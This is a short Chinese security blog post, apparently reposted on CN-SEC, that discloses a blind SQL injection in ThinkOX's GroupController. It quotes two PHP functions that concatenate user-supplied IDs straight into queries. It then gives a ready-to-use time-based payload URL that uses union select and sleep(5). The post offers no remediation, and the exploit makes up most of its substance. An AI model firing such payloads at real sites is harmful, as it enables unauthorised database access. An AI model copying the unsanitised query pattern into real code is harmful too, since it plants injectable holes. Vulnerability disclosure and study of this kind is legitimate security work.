ThinkOX 最新版 SQL 注入(盲注)

没穿底裤 2020年1月1日06:26:41评论653 views字数 519阅读1分43秒阅读模式
摘要

/Application/Group/Controller/GroupController.class.php这两处都是直接拼接的,导致调用这两处函数的地方存在注入。因为返回的只是group id,所以只能盲注。
Payload:

/Application/Group/Controller/GroupController.class.php

protected function getNotice($group_id)     {         $notice = D('GroupNotice')->where('group_id=' . $group_id)->find();         $this->assign('notice', $notice);         return $notice;     }      protected function getGroupIdByPost($post_id)     {         $post = D('GroupPost')->where('id=' . $post_id)->find();         return $post['group_id'];   }  

这两处都是直接拼接的,导致调用这两处函数的地方存在注入。因为返回的只是group id,所以只能盲注。
Payload:

http://0day5.com/thinkox/index.php?s=/group/index/recommend/post_id/-1)%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,sleep(5)%23.html

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
没穿底裤
  • 本文由 发表于 2020年1月1日06:26:41
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   ThinkOX 最新版 SQL 注入(盲注)https://cn-sec.com/archives/76360.html

发表评论

匿名网友 填写信息